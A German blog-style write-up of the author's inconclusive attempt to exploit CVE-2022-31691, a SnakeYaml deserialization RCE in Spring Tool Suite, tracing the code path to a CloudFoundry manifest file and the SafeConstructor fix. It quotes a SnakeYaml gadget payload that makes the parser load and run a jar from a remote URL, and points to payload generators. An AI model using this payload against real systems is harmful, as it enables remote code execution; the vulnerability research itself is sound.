
Ein Bericht über meine (bisher nicht schlüssige) Untersuchung von CVE-2022-31691
Eine Analyse meines (bisher ergebnislosen) Blicks auf CVE-2022-31691.
Ich bin ein häufiger Nutzer der Spring Tool Suite (STS) für Eclipse und verlasse mich gerne darauf, neue Spring Boot-Projekte zu initialisieren. Diese Schwachstelle (siehe https://tanzu.vmware.com/security/cve-2022-31691) ist eine RCE, die durch unsicheres Laden von Inhalten aus einer YAML-Konfigurationsdatei ausgelöst werden kann.
SnakeYaml ist ein sehr verbreiteter YAML-Parser und -Emitter für Java. Allerdings besteht, wie bei jedem Marshalling-/Unmarshalling-Prozess, immer das Risiko, dass unerwünschte Inhalte direkt in den Speicher geladen werden. SnakeYaml ist da keine Ausnahme – siehe https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
YAML laden
Warnung: Es ist nicht sicher, Yaml.load() mit Daten aus einer nicht vertrauenswürdigen Quelle aufzurufen!
Die Methode Yaml.load() wandelt ein YAML-Dokument in ein Java-Objekt um.
Vor diesem Hintergrund haben die Projektbetreuer eine SafeConstructor-Methode hinzugefügt:
Hinweis: Wenn Sie Objekte auf Standard-Java-Objekte wie List oder Long beschränken möchten, müssen Sie SafeConstructor verwenden.
Yaml yaml = new Yaml(new SafeConstructor());
Die Begründung ist recht klar, aber dieser Rat wird offensichtlich nicht gut befolgt. Man muss nicht weit suchen, um Beispiele für unsichere Ladepraktiken zu finden. Sogar Baeldung (eine wunderbare Informationsquelle zu Spring) erwähnt dies in seiner Anleitung nicht: https://www.baeldung.com/java-snake-yaml#basic-usage.
Um dies auszunutzen, muss ich diesen Constructor dazu bringen, ein Objekt zu unmarshallen, das ich kontrollieren kann. Glücklicherweise haben andere hier bereits die Vorarbeit geleistet. https://github.com/artsploit/yaml-payload ist ein sehr einfaches Projekt, um SnakeYaml-Exploit-Payloads zu generieren, ähnlich wie https://github.com/mbechler/marshalsec. Die Vorgehensweise ist:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
Diese Schwachstelle wurde in STS Version 4.16.1 behoben. Ein kurzer Blick auf die Commits dieser Version gibt ein paar hilfreiche Hinweise darauf, was behoben wurde – https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
Die Nachricht in diesem Commit – "Use SafeConstructor in Snakeyaml YAML constructors" – ist ein guter Hinweis darauf, was behoben wurde.
Tatsächlich hier wird der SafeConstructor eingesetzt.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
Wenn ich dies ausnutzen möchte, muss ich bösartige Inhalte in diesen SnakeYaml-Constructor einschleusen, also muss ich nachverfolgen, von wo er aufgerufen wird.
Die Erstellung des SnakeYaml-Objekts erhält ein InputStream-Objekt, das von einer Methode getInputStream() erzeugt wird.
getInputStream() ruft getManifestFile() auf, um zu bestimmen, welche Manifest-Datei geladen werden soll.
getManifestFile() gibt entweder den Speicherort einer Manifest-Datei zurück (falls im Constructor angegeben) oder null.
Die Klasse ApplicationManifestHandler wird in der CloudFoundryBootDashModel-Klasse hier initialisiert und erhält einen Wert, der von einem im Constructor der resolveDeploymentProperties-Methode gesetzten Wert abgeleitet wird hier.
Ich bin ziemlich sicher, dass ich eine CloudFoundry-Konfiguration einrichten muss, damit sie versucht, meine bösartige manifest.yml-Datei zu laden/aufzurufen.
Es stellt sich heraus, dass CloudFoundry eine aussterbende Technologie ist, vermutlich aufgrund von Kubernetes und ähnlichem. Ich kann keine öffentlichen Plattformen finden, um eine CF-Verbindung herzustellen, daher kann ich die Dinge von hier aus nicht testen.
Prüfen, wie man eine lokale Entwicklungsumgebung von CloudFoundry aufsetzt, um zumindest mein Verständnis der Schwachstelle und des Exploits zu testen.